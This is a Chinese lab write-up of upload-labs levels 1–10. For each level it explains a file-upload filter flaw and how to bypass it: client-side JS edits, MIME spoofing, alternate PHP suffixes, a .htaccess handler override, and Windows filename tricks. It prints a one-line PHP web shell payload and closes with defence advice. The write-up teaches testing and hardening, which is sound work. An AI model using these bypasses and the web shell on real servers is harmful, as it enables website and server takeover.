声明:本文中所有操作均在合法合规的靶场环境、虚拟环境中进行。
任何个人和组织不得从事非法侵入他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动;不得提供专门用于从事侵入网络、干扰网络正常功能及防护措施、窃取网络数据等危害网络安全活动的程序、工具;明知他人从事危害网络安全的活动的,不得为其提供技术支持、广告推广、支付结算等帮助。
一、文件上传漏洞
上传文件的时候,如果服务器端脚本语言,未对上传的文件进行严格的验证和过滤,就有可能上传恶意的脚本文件,从而控制整个网站,甚至是服务器。
二、upload靶场闯关(1~10关)
Pass-01 JS 前端绕过
1. 源码逻辑
前端通过checkFile()函数做后缀校验,无后端任何校验逻辑,是典型不安全客户端校验。
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
//白名单仅允许 .jpg|.png|.gif
var allow_ext = ".jpg|.png|.gif";
var ext_name = file.substring(file.lastIndexOf("."));
//后缀不在白名单直接弹窗拦截、不提交数据包
if (allow_ext.indexOf(ext_name+"|")==-1) {
alert("文件类型不合法");
return false; //终止表单提交
}
}
表单:<form action="" method="post" enctype="multipart/form-data" onsubmit="return checkFile()">
关键点:校验只在浏览器,数据包没发往服务器,后端直接接收上传文件,前端规则可被任意篡改、绕过。
2.绕过方法
保存当前页面,修改代码如下:
function checkFile() {
• var file = document.getElementsByName('upload_file')[0].value;
• if (file == null || file == "") {
• alert("请选择要上传的文件!");
• return false;
• }
• //定义允许上传的文件类型
• var allow_ext = ".jpg|.png|.gif";
• //提取上传文件的类型
• var ext_name = file.substring(file.lastIndexOf("."));
• //判断上传文件类型是否允许上传
• if (1 == -1) {
• var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
• alert(errMsg);
• return false;
• }
• }
<form action="http://127.0.0.1/Pass-01/index.php" enctype="multipart/form-data" method="post" οnsubmit="return checkFile()">
上传1.php即可。
Pass-02 文件类型验证
-
防护逻辑:后端校验请求头
Content-Type字段,仅允许image/png/image/jpeg等图片 MIME。 -
绕过思路:BP 抓包修改请求头
-
正常上传图片时 Content-Type 为
image/png; -
上传 PHP 脚本,BP 拦截数据包,将
Content-Type:application/x-www-form-urlencoded修改为image/png,即可绕过类型校验。
-
-
payload:
<?php eval($_POST[cmd]);?>
Pass-03 黑名单绕过(Apache 多后缀解析漏洞)
-
防护逻辑 :后端黑名单拦截
.php,禁止直接上传 php 文件。 -
漏洞原理 :Apache 服务器默认多后缀解析规则:
xxx.php3/xxx.phtml会被当作 PHP 解析。 -
利用 :直接上传
1.php3,服务器识别为 PHP 脚本执行。
Pass-04 .htaccess 配置文件绕过
-
漏洞原理:Apache 读取同目录
.htaccess配置文件,自定义文件解析规则。 -
利用两步走
① 优先上传.htaccess配置文件,内容:
<FilesMatch "loudong.jpg"> SetHandler application/x-httpd-php </FilesMatch>含义:名为 loudong.jpg 的文件,强制用 PHP 解析;
② 再上传写入 PHP 一句话的loudong.jpg,访问该 jpg 文件即可执行 PHP 代码。
Pass-05 大小写绕过
-
防护缺陷 :黑名单仅过滤小写
.php,未做统一小写转换,服务器 Windows 环境文件名大小写不敏感。 -
利用 :上传
1.PHP / 1.PhP,Windows 系统自动识别为 php 后缀并解析。
Pass-06 末尾空格绕过
-
防护缺陷:后端后缀过滤时未去除文件名末尾空格,Windows 自动剔除文件名末尾空格。
-
利用 :BP 修改文件名为
1.php(php 后加空格),保存时系统自动删掉空格变成1.php。
Pass-07 末尾点绕过
-
原理 :Windows 系统自动剔除文件名末尾的
.,过滤脚本无法识别.php.。 -
利用 :上传文件名
1.php.,系统自动处理为1.php。
Pass-08 ::$DATA 数据流绕过
-
原理 :Windows NTFS 文件系统中,
xxx.php::$DATA会将::$DATA识别为文件流,实际文件名仍为xxx.php。 -
利用 :上传
1.php::$DATA,后端过滤无法匹配 php 后缀,落地文件为1.php。
Pass-09 deldot 缺陷绕过
deldot 是什么?
它是一个自定义函数,功能:
从后往前删除文件名末尾所有的点 .
例如:
-
shell.php...→ 删掉末尾点 →shell.php -
shell.php. .→ 它只会删点,不会删空格!
Pass-10 str_replace 替换函数绕过
-
防护逻辑:使用str_replace("php","","文件名"),删除文件名中所有 php 字符;
函数原型:
str_replace(find,replace,string,[count])- find:待查找字符,replace:替换内容,string:目标字符串
-
绕过原理:双写关键字
-
过滤逻辑删除 php,构造文件名
1.pphphp; -
str_replace 删除中间 php 后,剩余字符拼接为
1.php;
-
-
利用:上传
1.pphphp,替换后生成可执行 php 文件。
三、防御方案总结
-
白名单限制后缀:只允许 jpg/png/gif 等图片后缀,杜绝黑名单;
-
后端双重校验:同时校验 MIME 类型 + 文件头部(文件幻数);
-
统一文件名处理:全小写 + 去除首尾空格 / 小数点,过滤::$DATA 等特殊字符;
-
文件目录隔离:上传目录禁用 PHP 解析权限,配置 Apache/Nginx 禁止上传目录执行脚本。